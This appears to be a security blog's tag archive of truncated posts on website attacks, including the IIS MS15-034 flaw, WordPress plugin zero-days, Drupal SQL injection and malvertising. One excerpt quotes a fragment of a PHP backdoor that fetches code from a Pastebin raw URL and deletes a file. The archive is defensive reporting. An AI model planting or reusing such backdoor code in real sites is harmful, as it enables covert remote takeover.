Microsoft just disclosed a serious vulnerability (MS15-034) on their Web Server IIS that allows for remote and unauthenticated Denial of Service (DoS) and/or Remote Code Execution (RCE) on unpatched Windows servers. An attacker only needs to send a specially crafted HTTP request with the right header to exploit it. That’s how serious it is. RCE is usedRead […]
Tag Archives: Website Attacks
Zero-day in the Fancybox-for-WordPress Plugin
Our research team was alerted to a possible malware outbreak affecting many WordPress websites. All the infections had a similar malicious iframe from “203koko” injected into the website. We were also directed to a forum thread where users were sharing their concerns and describing similar issues they were experiencing. In analyzing the infected websites, we […]
DDoS from China – Facebook, WordPress and Twitter Users Receiving Sucuri Error Pages
Over the past few weeks, our Security Operation Center (SOC) has been seeing some different, and very suspicious requests to some of our servers. At first we thought it was a Distributed Denial of Service (DDoS) attack, mainly due to the high concentration of requests (thousands per second). Looking further however, it actually seemed like […]
Website Backdoors Leverage the Pastebin Service
We continue our series of posts about hacker attacks that exploit a vulnerability in older versions of the popular RevSlider plugin. In this post we’ll show you a different backdoor variant that abuses the legitimate Pastebin.com service for hosting malicious files. Here’s the backdoor code: if(array_keys($_GET)[0] == ‘up’){ $content = file_get_contents(“http://pastebin . com/raw.php?i=JK5r7NyS”); if($content){unlink(‘evex.php’); $fh2 […]
WP Symposium – Zero Day Vulnerability Dangers
Our friends at SpiderLabs released a blog post today talking about the latest WP Symposium file upload vulnerability, and the attacks they have been seeing in the wild. This specific vulnerability was disclosed publicly Dec 11th, and attacks against it have started. If you use this WordPress plugin we encourage you to update your plugin. […]
Malvertising on a Website Without Ads
When you first configure your website, whether it be WordPress, Joomla, Drupal, or any other flavor of the month, it is often in its purest state. Unless ofcourse the server was previously compromised, which in it of itself is another conversation outright. Barring that one instance, the new website should not exhibit any malicious behavior. […]
Popular Brazilian Site “Porta dos Fundos” Hacked
A very well known Brazilian comedy site, “Porta dos Fundos,” was recently hacked and is pushing malware (drive-by-download) via a malicious Flash executable, as you can see from our Sitecheck results: SiteCheck Found Malware on Porta dos Fundos If you do not want the joke to be on you, do not visit this site (portadosfundos) […]
Drupal SQL Injection Attempts in the Wild
Less than 48 hours ago, the Drupal team released an update (version 7.32) for a serious security vulnerability (SQL injection) that affected all versions of Drupal 7.x. In our last post, we talked about the vulnerability and that we expected to see attacks starting very soon due to how severe and easy it was to […]
Highly Critical SQL Injection Vulnerability Patched in Drupal Core
The Drupal team just released a security update for Drupal 7.x to address a highly critical SQL injection vulnerability. This bug can be exploited remotely by non-authenticated users and was classified as “Highly Critical” by the Drupal Security team. More information is available in their public advisory: Posted by Drupal Security Team on October 15, […]
Website Attacks – SQL Injection And The Threat They Present
We are starting a new series of articles where we will talk about different active website attacks we are seeing. The first one we will cover is known as a SQL Injection (SQLi). Some might know what a SQL Injection (SQLi) attack looks like, but assuming you don’t, it’s an attack that leverages an injection […]
